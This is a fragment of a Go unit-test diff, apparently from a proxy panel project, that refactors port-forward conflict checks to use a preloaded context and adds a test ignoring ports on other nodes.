seedInboundConflict(t, "vless-8080", "0.0.0.0", 8080, model.VLESS, `{"network":"tcp"}`, `{}`) seedInboundConflict(t, "vless-8080", "0.0.0.0", 8080, model.VLESS, `{"network":"tcp"}`, `{}`)
svc := &InboundService{} svc := &InboundService{}
hit, err := svc.checkForwardedPortsConflict("8000-8100") ctx, err := svc.loadPortConflictContext()
if err != nil { if err != nil {
t.Fatalf("checkForwardedPortsConflict: %v", err) t.Fatalf("loadPortConflictContext: %v", err)
} }
hit := svc.checkForwardedPortsConflict(ctx, "8000-8100")
if !strings.Contains(hit, "vless-8080") { if !strings.Contains(hit, "vless-8080") {
t.Fatalf("expected a collision naming the colliding inbound, got %q", hit) t.Fatalf("expected a collision naming the colliding inbound, got %q", hit)
} }
@@ -53,9 +58,12 @@ func TestCheckForwardedPortsConflict_IgnoresDisabledInboundPort(t *testing.T) {
} }
svc := &InboundService{} svc := &InboundService{}
hit, err := svc.checkForwardedPortsConflict("8080") ctx, err := svc.loadPortConflictContext()
if err != nil || hit != "" { if err != nil {
t.Fatalf("a disabled inbound's port must not be reserved; got hit=%q err=%v", hit, err) t.Fatalf("loadPortConflictContext: %v", err)
}
if hit := svc.checkForwardedPortsConflict(ctx, "8080"); hit != "" {
t.Fatalf("a disabled inbound's port must not be reserved; got hit=%q", hit)
} }
} }
@@ -64,9 +72,32 @@ func TestCheckForwardedPortsConflict_NoCollisionWhenPortsDontOverlap(t *testing.
seedInboundConflict(t, "vless-8080", "0.0.0.0", 8080, model.VLESS, `{"network":"tcp"}`, `{}`) seedInboundConflict(t, "vless-8080", "0.0.0.0", 8080, model.VLESS, `{"network":"tcp"}`, `{}`)
svc := &InboundService{} svc := &InboundService{}
hit, err := svc.checkForwardedPortsConflict("9000-9100") ctx, err := svc.loadPortConflictContext()
if err != nil || hit != "" { if err != nil {
t.Fatalf("unrelated ports must not conflict; got hit=%q err=%v", hit, err) t.Fatalf("loadPortConflictContext: %v", err)
}
if hit := svc.checkForwardedPortsConflict(ctx, "9000-9100"); hit != "" {
t.Fatalf("unrelated ports must not conflict; got hit=%q", hit)
}
}
// A port-forward spec matching a port used only by an inbound hosted on a
// DIFFERENT node must not conflict: that inbound's DNAT/listen socket lives
// on the node's own host, never on this panel's, so there is nothing here
// for the forwarded port to actually collide with. Mirrors
// TestCheckPortConflict_NodeScope's own reasoning for the general port-
// conflict check.
func TestCheckForwardedPortsConflict_IgnoresPortOnDifferentNode(t *testing.T) {
setupConflictDB(t)
seedInboundConflictNode(t, "node1-8080", "0.0.0.0", 8080, model.VLESS, `{"network":"tcp"}`, `{}`, new(1))
svc := &InboundService{}
ctx, err := svc.loadPortConflictContext()
if err != nil {
t.Fatalf("loadPortConflictContext: %v", err)
}
if hit := svc.checkForwardedPortsConflict(ctx, "8080"); hit != "" {
t.Fatalf("a port used only on a different node must not conflict; got hit=%q", hit)
} }
} }